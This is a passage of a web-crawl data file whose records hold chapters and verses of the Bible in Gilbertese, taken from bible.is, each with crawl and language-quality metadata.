0.9998367428779602}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ongora ngkai, ngkami akana kam kaubwai: kam na kanenei bwanaami n tang ni korakai ibukin aaro ni karawaawata aika a nangi riki nakoimi. 2A mka ami bwai ao a kanaki ami kunnikai irouia kooa. 3A raraa ami koora ma ami tirewa; ao a na riki raraani baikai bwa bwaai ni kakoaua aika a na kabuaakakaingkami, ao a na kang irikomi n ai aron te ai. Kam a tia ni kaiko ami bwai i nanoni boong aika kabaneani boong. 4Noria, e tangi boon aia mwakuri taani mwakuri aika tai i abami, ae booia ae e tauaki iroumi; ao tangiia ake a tai e a tia n roko i taningan te Atua, are te Uea ae Moan te Mwaaka. 5Kam a tia ni maiu ni kaubwai ma n iri kukurein rabwatami n te maiu aei. Kam a tia ni kamarikaingkami ibukin te bongi ni kamaamate. 6Kam motika taekan te aomata ae akea ana bure ni kaburea; ao kam kamatea; ao e aki rawa nakoimi. 7Ma ngaia aei, taari, kam na taotaon nanomi ni karokoa rokon te Uea. Nora aron te tia ribana: e taningaa te uaa ae e kakaawaki ae e na riki man te aba; ao e taotaona nanona n taningaia ni karokoa ae e anganaki te moani karau ma te karau are i mwiina. 8Kam riai naba ngkami n taotaon nanomi. Kam na nanomatoa, bwa e a kaan rokon te Uea. 9Taari, kam na tai i bwangantaeka, bwa a kaawa ni motikaki taekami; nooria, e a kaan te tia motiki-taeka bwa ae E a kaani kaoti. 10Taari, kam na ururingia buraabeti ake a taetae n aran te Uea. A na riki bwa banna ni kakairi n aroia ni kataua te maraki ma ni botumwaaka n taotaon nanoia. 11Noria, ti taku bwa a kabwaia ake a nanomwaaka. Kam a tia n ongo nanomwaakan Iobi, ao kam ataa aron te Uea n tabeakinna n tokina. Bwa moan te nanoanga te Uea, ao E akoi. 12Tariu, te bae moan te kakaawaki i aoni bwaai ni kabane bon aei: kam na tai mwanewea arani karawa ke aon te aba ke te bwai riki teuana ngkana kam tuea; ma e na atongaki ami eng bwa bon eng, ao ami tiaki bwa bon tiaki; bwa aonga n aki motikaki taekami ni kabuaakakaaki. 13E taonaki temanna i buakomi n te rawaawata? Ke e tataro. E kukurei temanna? Ke e anene. 14E aoraki temanna i buakomi? Ke e weteia unimwaanen te ekaretia; ao a na tataro i aona, ao a na kabiria n te bwa n aran te Uea. 15Ao ane e na kamaiua te aoraki te tataro n onimaki; E na kaokaki marurungina nakoina iroun te Uea, ao a na kabwaraaki ana bure ngkana e a tia ni bure. 16Ma ngaia ae kam na kaotioti ami bure nakoimi, temanna nakon temanna, ao kam na tataro i bukimi, temanna ibukin temanna, bwa kam aonga ni kamaiuaki. E bati ni mwaaka ana tataro te aomata ae e kaakaraoa nanon te Atua, ngkana e tataro ma nanona. 17Eria bon te aomata ae ti te bo arona ma arora, ao n ana tataro e buubuti bwa e na aki bwaka te karau; ao e aki bwaka te karau i aon te aba i nanon teniua te ririki ao onoua namwakaina. 18Ao e a manga tataro, ao e bwaka te karau mai karawa, ao e kariki uaana aontano. 19Tariu, ngkana iai iroumi ae e kiitana te koaua ao temanna e a manga kaokia, 20ao e na ataia, bwa ane e kaoka te tia bure man arona are e kaairua iai, ao e na kamaiua maiun te tia bure anne man te mate, ao a na kamaunaaki ana bure aika a bati.\nIAKOBO 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/5","date":"2013-12-13T07:48:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164919525\/warc\/CC-MAIN-20131204134839-00099-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":610,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiin onobong ao Iesu E wetea Betero, ma taari ake Iakobo ma Ioane, ao E kairiia nakon te maunga teuana ae e rietaata, ao a tiku iai n ti ngaiia. 2A noora Iesu bwa e bitaki taraana, ao e oota moana n ai aron taai, ao a taraa ni mainaina n raneanea kunnikaina n ai aron te oota. 3Ao nooria, a kaoti i mataia Mote ma Eria, ao a taetae ma Iesu. 4Ao e taku Betero nakon Iesu, Te Uea, ai raoiroi ra bwa ae ti a mena ikai! Ngkana e bo raoi ma nanom, ao N na katei umwanrianna aika tenua: bwa teuana i bukim, ao teuana ibukini Mote, ao teuana ibukin Eria. 5Ngke e tabe n taetae Betero, ao akea bwa e a kaoti naba te nang ae e raneanea, ao e bwaka nuuna i aoia. E roko te bwanaa man te nang ae e kaangai, Natiu Teuaei ae E tangiraki irou, ae I kakatonga irouna; kam na ongo irouna. 6Ao ngke a ongo aei ana reirei, ao a bwaka ni bobaraaki i aontano, bwa a kaonaki n te maaku. 7Ma E roko Iesu n riingiia, ao E taku, Tei rake, ao tai maaku. 8Ao ngke a tabeki mataia n tararake, ao akea temanna ae a nooria bwa bon ti Iesu. 9Ngke a tabe n ruo rikaaki mai aon te maunga, ao E kamatoaa ana taeka Iesu nakoia ni kaangai, Akea temanna ae kam na tuangnga taekan te baere kam a tia n nooria, ni karokoa E a manga kamaiuaki Natin te Aomata mai buakoia maate. 10Ao a titirakinna ana reirei ni kaangai, Bukin tera ngkanne ngkai a taku taani koroboki bwa e na nako mai moa Eria? 11Ao E kaekaia Iesu ni kaangai, E na nako mai moa Eria, ao e na kaeti bwaai nako. 12Ma I taku bwa e a tia n roko Eria, ma a aki kinaa, ao a karaoi nakoina baike a kani karaoi. Ao ai aron naba Natin te Aomata, bwa E na kammarakaki naba irouia. 13A oota ngkanne ana reirei bwa ngaia taekan Ioane are te tia bwaabetiito are E taekinna Iesu nako ia. 14Ao ngke a roko uaakekei irouia aomata, ao e nako n Iesu te aomata temanna, ao e katorobubua i matana, ao e taku, 15Te Uea, Ko na nanoangaaea natiu te mwaane, bwa e mino, ao e kainnano ni maraki; ni mwaitin te tai ao ai te bwaka naba n te ai, ke i nanon te ran. 16I kairia nakoia am reirei, ao a aki konaa ni kamaiua. 17Ao E kaeka Iesu ao E taku, Te roro ae akea ana onimaki, ae e aki ataa ae e raoiroi ma ae e buaakaka, maan ra ae N na titiku iai i rarikimi? Ao maan ra taotaonakin nanou nakoimi? Kairia mai nakoiu. 18Ao E boaa te taimonio Iesu, ao e oti nako te taimonio mai irouna, ao e a maiu naba ngkekei te ataei ni mwaane. 19A nako n Iesu ngkanne ana reirei ngke ai ti ngaiia, ao a taku, Bukin tera ngke ti aki konaa ni kanakoa te taimonio? 20E taku Iesu nako ia, I bukina bwa a karako ami onimaki. Bwa e koaua ae I a tuangkami, bwa ngkana iai ami onimaki ae ai aroni buuburani koraan uaan te mwaakeke, ao ngkana kam kaangai nakon te maunga aei, Ko na mwaee ma ikai nako ikekei, ao e na mwaee; ao bon akea te bwai teuana ae kam na aki konaa. 22Ngke a bane ni bootaki ana reirei Iesu i Kariraia, ao E taku nako ia, Ane E na kamwaneaki Natin te Aomata nako nanoni baiia aomata, 23ao ane a na kamatea, ao E na manga kamaiuaki n te kateni bong. Ao a rangi n nanokaawaki ana reirei. 24Ngke E roko Iesu ma ana reirei i Kaberenaum, ao a roko irouni Betero taan anaa te taekiti ibukin te umwantabu, ae te taekiti ae te itera n tiekera mwaitina i aon temanna te aomata; ao a titirakinna ni kaangai, E kabwakaa te taekiti ami tia reirei, ke E aki? 25Ao ngaia e taku, E kabwakaa. Ao ngke e roko Betero n te auti, ao E taetae moa Iesu nakoina, ao E taku, Tera am iango, Timon? Antai aika a kabwaabwakai tiute ma taekiti nakoia ueea n te aonnaba aei? Aia aomata ke aomata aika ianena? 26E taku Betero nakoina, Aomata aika ianena. E taku Iesu nakoina, Ma ngaia ae a inaomata aia aomata mani kabwakaan te taekiti. 27Ma ti aki kani kauniia aomata aikai. Ma ngaia ae ko na nako n te nama, ao tewea nako am ao ma matauna, ao anaa te moa n ika ane e teke; ao ngkana ko kaurea wina, ao ane ko na kunea te mwane iai. Ko na anaia ao anganiia i bukiu ao i bukim.\nMATAIO 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/17","date":"2013-12-11T23:53:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164099123\/warc\/CC-MAIN-20131204133459-00074-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":793,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3333Akea ane e kauraa te taura ni kaaki n te tabo ae e raba i nanon te auti ke i aan te bwaketi, ma e kaaki i aoni nnena, bwa a aonga n noora te oota aomata ake a rin. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/33","date":"2013-12-10T11:34:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164017049\/warc\/CC-MAIN-20131204133337-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999866486,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999866485595703}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.269,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E a tia Iesu n atongi taeka aikai ao E kiitana Kariraia, ao E nako n aaba ake i Iutaia ake n iteran te Ioretan are te iterana; 2ao a iria aomata aika a rangi ni mwaiti, ao E kamaiuiia ake a aoraki. 3Ao a nakoina Bwaritaio tabemwaang, ao a kani kamwanea n aia titiraki ae e kaangai, Iai riaina i aan te tua bwa e na raure te mwaane ma buuna n aron are e bon taku? 4Ao E kaekaia Iesu ni kaangai, Tiaki kam a tia ni wareka taekan Teuare e karaoiia aomata ni moani karikan aonnaba, bwa E karaoiia bwa te mwaane ao te aine, 5ao E kaangai, Nibukina aei, ao e na kiitana tamana ma tinana te mwaane ao e na katiteuanaaki ma buuna, ao a na riki n ti te irikona naka uoman. 6Ma ngaia ae ai tiaki uoman ngaiia ma ai ti te irikona. Ma ngaia aei, bwa akana E reitiia te Atua, ao akea te aomata ae e na konaa ni karaureiia. 7A taku nakoina, E aera ngkanne ngke e tua Mote bwa te mwaane are e kan raure ma buuna, ao e riai n angani buuna te beebwa n raure, ao e na kanakoa? 8E taku nako ia, E kariaingkami Mote bwa kam na raure ma buumi ibukini matoatoan nanomi, ma tiaki aei arona mani moan rikin aonnaba. 9Ao I taku nakoimi, bwa ane e raure ma buuna ao e aki wene ni bure neierei, ao ngkana e a manga iein teuarei ma te aine temanna, ao e wene ni bure iai. 10A taku nakoina ana reirei, Ngkana aei aron te mwaane ma buuna, ao e a raoiroi riki te aki iein. 11Ao E taku nako ia, Anne te aro ae e konaa ni karaoaki, ma tiaki irouia aomata nako, bwa ti ake E a tia te Atua ni kataua i bukiia. 12Bwa iai aomata ake aki konaa n iein ibukina bwa bon rikiia mai nanoni biroton tinaia; ao iai tabemwaang ake a karaoaki irouia aomata bwa a na aki konaa n iein; ao temwaangina a kataua te aki iein ibukin uean te Atua. Ane e konaa ni butimwaaea te koaua aei, ao ke e tauua. 13Iai aomata ake a nikiriia ataei iroun Iesu bwa E na kaaki baina i aoia, ao E na tataro i bukiia. A takuia aomata akekei ana reirei Iesu; 14ma E taku Iesu, Kanakomaia ataei nakoiu, ao tai tukiia; bwa uean te Atua bon aia bwai aomata aika ai aroia ataei aikai. 15Ao E kaaki baina i aoia, ao E nako. 16Ao nooria, e roko te aomata temanna iroun Iesu, ao e taku, Te Tia Reirei, tera ae e raoiroi ae N na karaoia, bwa e aonga n reke iai irou te maiu are e aki toki? 17Ao E taku Iesu nakoina, Ko aera ngkai ko titirakinai bwa tera ae e raoiroi? Bon ti Temanna ae e raoiroi. Ngkana ko kan rin n te maiu are akea tokina, ao ko na tou mwiin taian tua. 18E taku nakon Iesu, Aika tuua ra? Ao E taku Iesu, Ko na tai kamateia aomata, Ko na tai wene ni bure, Ko na tai ira, Ko na tai anga am kaotioti ae e kaairua bwa taekan temanna, 19Ko na karinea tamam ma tinam, ao, Ko na tangira ane e maeka n ua kaani ma ngkoe n ai aron tangiram i bon iroum. 20E taku te rorobuaka n ataei arei nakoina, I a tia n tou mwiin tuua akanne; tera riki ae I riai ni karaoia? 21E taku Iesu nakoina, Ngkana ko kan riki ni moan te raoiroi, ao ko na nako ni kaboo nako am bwai akana iai iroum, ao booia, anganiia akana akea aia bwai, ao ane e na reke iroum iai am bwai i karawa; ao nako mai, iriirai. 22Ngke e ongo taeka aikai te rorobuaka arei, ao e nako ma rawaawatan nanona, bwa a bati ana bwai. 23Ao E taku Iesu nakoia ana reirei, E koaua ae I a tuangkami, bwa e na rangi ni kaangaanga rinin ane e kaubwai n uean te Atua. 24Ao I a manga taku nakoimi, bwa e kai rin nako riki te kaamero ni bwangabwangan te neiran nakon ane e kaubwai, ngkana e kan rin n uean te Atua. 25Ngke a ongo aei ana reirei, ao a rangi ni miimii, ao a taku, Antai ngkanne ae e na konaa ni kamaiuaki? 26Ao E tarataraiia Iesu ao E taku nako ia, A aki konaa ni kamaiuiia aomata i bon irouia, ma a konaaki bwaai nako iroun te Atua. 27E kaeka ngkanne Betero ao e taku, Noria, ti a tia ni kiitani bwaai ni kabane, ao ti iriiriko; tera ngkanne ae ti na karekea bwa ara bwai? 28E taku Iesu nako ia, E koaua ae I a tuangkami, bwa ngkana E tekateka Natin te Aomata i aon ana kaintokanuea are e tamaaroa, n te aonnaba ae e boou ao ngkami, aika kam iriira, ane kam na tekateka naba i aoni kaintokanuea aika tebwi ma uoua, n tautaekania aia baronga Iteraera ake tengauni ma ua baronga. 29Ao ane a tia ni kiitana mwengana, ke tarina, ke mwaanena, ke tamana, ke tinana, ke natina, ke abana i bukiu, ao e na karekei kaka tebubua riki mwaitini baike e a tia ni kiitan, ao e na reke irouna te maiu are e aki toki. 30Ma a mwaiti aika a mena i moa aika a na riki ni kabane, ao aika a mena n te kabane aika a na riki ni mena i moa.\nMATAIO 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/19","date":"2013-12-06T17:08:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052216\/warc\/CC-MAIN-20131204131732-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":917,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 7:2121Ma Iesu E riki n ibonga n te taeka ni berita iroun Teuare e kaangai nakoina, E taetae n tuea te Uea, ao E na aki bita nanona, Bon te ibonga Ngkoe n aki toki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7\/21","date":"2013-12-07T20:14:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055782\/warc\/CC-MAIN-20131204131735-00008-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999988079071045}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai te aomata temanna ae arana Anania, ao raona Tabeire are buuna; e kaboo nako aia bwai tabeua Anania: 2ao mani booia are e reke, e taua teutana maiai Anania, ao buuna e ataia naba, ao e uota nikirana nakoia taan tuatua bwa a na kaawakinna. 3E taku Betero nakoina, Anania, e aera ngkai e anaaki nanom iroun Tatan bwa ko na kewe nakon te Taamnei are e Raoiroi, ao bwa ko na taua teutana man te mwane are boon te aba? 4Ngke e tuai ni kabooaki, tiaki bon abam? Ao ngke e a tia ni kabooaki, ao tiaki bwa bon am bwai mwanen? E aera ngkanne ngkai ko karekea i nanom bwa ko na karaoa aei? Ko aki kewe nakoia aomata, ma ko kewe nakon te Atua. 5Ngke e ongo taeka aikai Anania, ao e bwaka bwa e mate; ao a taonaki n te maaku ae e korakora aomata ake a ongo taekan te baei. 6A roko ngkanne rorobuaka n niira rabwatan Anania, ao a uotia nako n taunna. 7Tao tenua te aoa i mwiina, ao e rin buun Anania, ma e aki ataa te baere e a tia n riki. 8E taku Betero nakoina, Ko na tuangai bwa ngaia aei te mwaiti ae kam karekea bwa boon abami? Ao e kaangai neierei nakoina, Eng, mwaitina anne. 9E taku ngkanne Betero nakoina, E aera ngkai e bo nanom ma buum bwa kam na kaaa Taamnein te Uea? Noria, a tei ngkai i matan te mataroa rorobuaka ake a tia n tauna bum, ao ane a na manga uotiko nako naba. 10Ao e mate neierei n te tai naba arei, ao e bwaka i rarikini waeni Betero; a rin rorobuaka akekei, ao a nooria bwa e a mate; ma ngaia are a uotia nako n taunna i rarikini buuna. 11Ao a taonaki n te maaku kaain te ekaretia ni kabaneia, ni bootaki ma aomata nako ake a ongo taekani baikekei. 12A karaoaki kanikina ma mwakuri ni kamiimii aika a bati i buakoia aomata irouia taan tuatua; ao a bane aomata ni mena n ana kaman Toromon ma te nano ae ti teuana. 13Akea temanna irouia ake nikiraia ae e kan iri buakoia; ma a bati taekaia ni kamoamoaaki mai irouia aomata. 14A kabatiaaki riki mwaitiia ake a onimakina te Uea, irouia mwaane ma aine aika a rangi ni bati. 15I mwiini baike a a tia ni karaoi taan tuatua, ao a uoti aia aoraki aomata nako nanoni kawai nako, ao a kaweneia i aoni kainiwene ma kie ni matuu, ma te kaantaninga bwa ngkana e ri kekei Betero ao e na konaa nuuna n rabunia temwaangina i buakoia. 16A roko naba aomata aika a rangi ni bati mani kaawa ake i rarikin Ierutarem, ao a uotiia aoraki, ma aomata aika a taniaki irouia anti aika a bubuaka; ao a bane ni kamaiuaki. 17E rangi ni bakantang aia mataniwi ibonga ma raona ni kabaneia, aika kaain te bootaki n Tarukaio; 18a tauuia taan tuatua, ao a kaakiia n te karabuuti. 19Ma ngke e a bong, ao e kauki mataroan nako te karabuuti ana anera te Uea, ao e kaotinakoia, ao e taku nakoia, 20Kam na nako n tei i nanon te umwantabu, ao tuangiia aomata taekan te Maiu aei ni kabane. 21Ao ngke a a tia n ongo aei, ao a rin n te umwantabu, ngke e a tibwa moa n ingabong, ao a reirei iai. Ao e roko aia mataniwi ibonga ma raona nako, ao a weteia aia unimwaane tibun Iteraera ibukini karaoan aia kaboowi are te Tanirim, ao a kanaanako nakon te karabuuti bwa a na kairaki taan tuatua nakoia. 22Ma ngke a roko bureitimanin te umwantabu n te karabuuti, ao a aki nooriia uaakekei iai; ma ngaia are ngke a oki, ao a tuangiia, 23ni kaangai, Ti noora te karabuuti bwa e kainaki raoi, ao taan tantani bwa a tei ni mataroana nako; ma ngke ti kauki, ao akea temanna i nanona ae ti nooria. 24Ngke e ongo taeka akekei aia mataniwi bureitimanin te umwantabu, ma ibonga ake mataniwi, ao a nanokokoraki iai, bwa e na kangaa n riki te baerei. 25Ao e roko temanna, ao e tuangiia, ni kaangai, Noria, aomata ake kam kaakiia i nanon te karabuuti a tei i nanon te umwantabu n reireiia aomata. 26E nako ngkanne aia mataniwi bureitimanin te umwantabu ma raona ake bureitiman naba, ao a kairiia taan tuatua n aki tauia ma te matoa, bwa a maakuia aomata, bwa a kaawa ni karebanaaki. 27Ao ngke a roko, ao a kateiia i matan te Tanirim. Ao e kaekaia aia mataniwi ibonga, 28ni kaangai, Ti anganingkami ngkoa ara taeka ae e matoatoa bwa kam na aki reirei n te Ara arei; ao nooria, kam kaona Ierutarem n ami reirei, ao kam tangiriira bwa ti na bukinaki ni matena. 29Ao a kaeka Betero ma taan tuatua, ni kaangai, E riai riki iran nanon te Atua nakon iran nanoia aomata. 30E kamaiua Iesu Atuaia ara bakatibu man te mate; boni Ngaia are kam tiringnga n tauria i aon te kai. 31E neboia te Atua ni kaaki i rarikina bwa te Mataniwi Ngaia ao te Tia Kamaiu: bwa E aonga n reke nakoia Iteraera aia tai n rairi nanoia ao ni kabwaraaki aia bure. 32Ao bon taan tataekini baikai ngaira, n ai aron naba te Taamnei are e Raoiroi, are E a tia n anga te Atua nakoia ake a ira nanona. 33Ao ngke a ongo arei, ao a rangi ni maraki nanoia, ao a iangoa aroni kamateaia. 34Ma e tei rake te Bwaritaio temanna ae kaain te Tanirim, ae arana Kamariera, ae te tia reirei taekan te tua, ae e karineaki irouia aomata ni kabaneia, ao e tua bwa a na kaotinakoaki taan tuatua, ao a na tiku i tinaniku n te tai ae e aki maan. 35Ao e taku nakoia, Mwaane aika Iteraera, kam na tarataraingkami n are kam nang karaoia nakoia aomata aikai. 36Bwa e tei rake Teuta ngkoa, ni kaotia bwa te tia kairiiri ngaia ae e kakannato, ao a riki bwa raona, aomata aika tao abubua mwaitiia; e kamateaki Teuta, ao a bane ni kamaaeaki nako raona, ao e mauna matan aia bootaki. 37I mwiin Teuta ao e tei rake Iuta are te I-Kariraia n taini warekaia aomata ma aia bwai nako, ao e anai nanoia aomata temwaangina bwa a na riki bwa raona; e mate naba teuaei, ao a bane ni kamaaeaki nako raona. 38Ma ngaia ae ibukin te bae e riki aei, ao I taku nakoimi bwa kam na aki kumeia aomata aikai, ma katikuia i bon irouia; bwa ngkana mai iroun te aomata te waaki ae a tabe iai ma te mwakuri ae a karaoia, ao ane e na mauna nako; 39ma ngkana mai iroun te Atua, ao kam bon aki konaa n urua aia bootaki; tai kumeia bwa kam kaawa n nooraki iai bwa kam buakana te Atua. Ao a ira nanon ana taeka; 40ao a weteiia taan tuatua, ao a kataereia; ao a kanakoia ngke a a tia n tuangiia bwa a na aki reirei n aran Iesu. 41Ma ngaia are a nako man te Tanirim ma te kimwaareirei, bwa a konaa n atongaki bwa a tau ni kamaamaaeaki ibukin te Ara aei. 42Ao a aki toki n reirei n te bong ae koraki, ma n atoatonga Iesu bwa te Kristo n te umwantabu, ao n te auti teuana ma teuana.\nMWAKURI 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/5","date":"2013-12-13T01:05:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164786099\/warc\/CC-MAIN-20131204134626-00078-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1227,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A riki maia taiani buaka, ao a riki maia taian uun i buakomi? Tiaki a riki man naano n aonnaba aika a kume ni buaka i nanoni bwain rabwatami? 2Kam tangiri bwaai, ao a aki reke iroumi; ma ngaia ae kam kamateia aomata. Kam bakantang, ao a aki konaa n reke ami bwai, ma ngaia ae kam un ao kam buaka. A aki reke ami bwai bwa kioina ngkai kam aki buubuti. 3Kam buubuti, ao kam aki anganaki, bwa kioina ngkai kam buubuti n te aro ae e aki riai, bwa kam na bakataei ami bwai ibukin nanomi aika naano n aonnaba. 4Ngkami aika kaanga ainenumwa aika taani wene ni bure, kam aki ataia bwa te iraorao ma bwain te maiu aei bon ribaan te Atua? Ma ngaia aei, bwa ane e kan i raorao ma bwain te maiu aei, ao e riki bwa ana kairiribai te Atua. 5Kam taku bwa akea manenan ana taeka te Baibara are e kaangai, E rangi ni korakora nanon te Taamnei n tangiriira, are E kamaekaa te Atua i nanora. 6Ma E kabatiaa te aakoi n anga; ao anne bukin are e kaangai te Baibara: E rawa nakoia akana a kainikatonga te Atua; Ma E angania akana a nanorinano te aakoaki. 7Ma ngaia ae kam na iriira nanon te Atua; ao kam na raarawa nakon te riaaboro, ao ane e na biri nako mai iroumi iai. 8Kam na kaania te Atua, ao ane E na kaaningkami. Kam na kaitiaki baimi, ngkami aika taani bure; ao kam na kaitiaki nanomi, ngkami akana kam nanououa. 9Kam bon riai n nanokaawaki ma n tang ni korakai. Ke e oneaki ngarengaremi nakon te tang ni korakai, ao ami kimwarerei nakon te mata ni kananoanga. 10Kam na nanorinano i matan te Uea, ao ane E na karietaataingkami. 11Taari, kam na tai kabuaakaka. Ane e kabuaakakaa tarina, ke ane e motika taekan tarina, ao e kabuaakakaa te Tua, ke e motika taekan te Tua; ngkana ko motika taekan te Tua, ao tiaki te tia toua mwiin te Tua ngkoe, ma bon te tia motiki-taeka iai ngkoe. 12Ti temanna te tia karaoa te Tua, ao te tia motiki-taeka, ae e konaa te kakamaiu ma te kamaamate; ma antai ngkoe ngkai ko motika taekan raom? 13Ongora ngkai, ngkami akana kam kaangai, N te bong aei ke ningabong, ao ti na nako n te kaawa arei bwa ti na tiku iai teuana te ririki ni waakina ara bitineti iai, ao ti na karekei rakan ara bwai. 14Ao kam bon aki ataia bwa tera aroni maiumi ningabong. Bwa kaanga ai aron te maabubu ngkami, ae e kaoti teutana ao rimwi e mauna. 15Ma te bae kam riai n atongnga, e kaangai, Ngkana nanon te Uea, ao ti na maiu, ao ti na karaoa te baei ke te baerei. 16Ma ngkai, kam kamoamoaingkami n ami kainikatonga. Kamoamoa ni kabane aika ai aron aikai a bane ni bubuaka. 17Ma ngaia aei, bwa ane e ataa aroni karaoan ae e riai, ma n aki karaoia, ao e boni bure iai.\nIAKOBO 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/4","date":"2013-12-08T20:11:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163806278\/warc\/CC-MAIN-20131204133006-00098-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":504,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E a manga taetae Iesu nakoia aomata n taeka ni kabootau, ao E taku, 2E a konaa ni kabootauaki uean te Atua bwa kaanga ai aron te uea, are e karaoa te amwarake ni baka ibukin natina te mwaane. 3E kanakoia ana toro bwa a na weteia aomata ake a kaoaki nakon te baka, ma a aki kan roko. 4E a manga kanakoia tooro tabemwaang, ao e taku, Kam na kaangai nakoia ake a kaoaki, Noria, I a tia ni katauraoi au amwarake; a tiringaki au kao ma au man aika a tia ni kamarikaaki ibukin te kanaki. A bane n tauraoi bwaai nako; nako mai nakon te baka. 5Ma a aki kan tabe ma te kakao aomata ake a kaoaki; iai ane e nako n abana, ao ane e nako n ana bitineti; 6ao nikiraia a tauia ana toro, ao a bwainikiriniia, ao a kamateiia. 7E un te uea, ao e kanakoia ana tautia, ao a tiringiia taani kamaamate akekei, ao a kabuoka aia kaawa. 8E taku ngkanne nakoia ana toro, E a tauraoi au amwarake ni baka ibukin te iein, ma te koraki ake a tia ni kaoaki a aki tau bwa a na roko iai. 9Ma ngaia ae kam na nako tuutani kawai, ao kam na kaoia aomata nako akana kam bo ma ngaiia nakon te amwarake ni baka. 10Ao a nako tooro akekei nakoni kawai nako, ao a bootiia aomata ni kabaneia, akana a buaakaka ma akana a raoiroi, ake a bo ma ngaiia; ao e on te tabo ni baka irouia. 11Ma ngke e rin te uea n nooriia iruwa, ao e noora temanna iai ae e aki kunnikaia n te kunnikai ni baka, 12ao etaku nakoina, Raou, ko aera ngkai ko rin ikai n aki bwaina te kunnikai ni baka? Ao akea ana kaeka teuarei. 13E taku te uea ngkanne nakoia tooro, Kabae baina ma waena ao tewea nako nanon te roo are i ao, are te tabo ike a na tang iai aomata n tenai riaia bwa kaotan ae a rootaki n te maraki ae e korakora. 14Bwa a mwaiti aika a kaoaki iroun te Atua, ma E rineiia ti akana a butimwaaea te kakao. 15A bootaki Bwaritaio tabemwaang, ao a iangoa aroni kamwanean Iesu n ana taeka. 16A kanakoia aia reirei nakoina, ao raoia aomata temwaangina ake kaain ana bootaki Erote. A taku, Te Tia Reirei, ti ataiko bwa Ko taekina te koaua, ao Ko reirei taekan aron te Atua i bukiia aomata, ao Ko aki mutiakin aroia aomata, bwa Ko aki nanonano n aron taraakin aroia aomata. 17Ma ngaia ae Ko na tuangiira bwa tera am iango. E riai n taekan te Tua bwa ti na kabwaka taekiti nakoni Kaitara, ke e aki? 18Ma E atai aia iango ae e buaakaka Iesu, ma 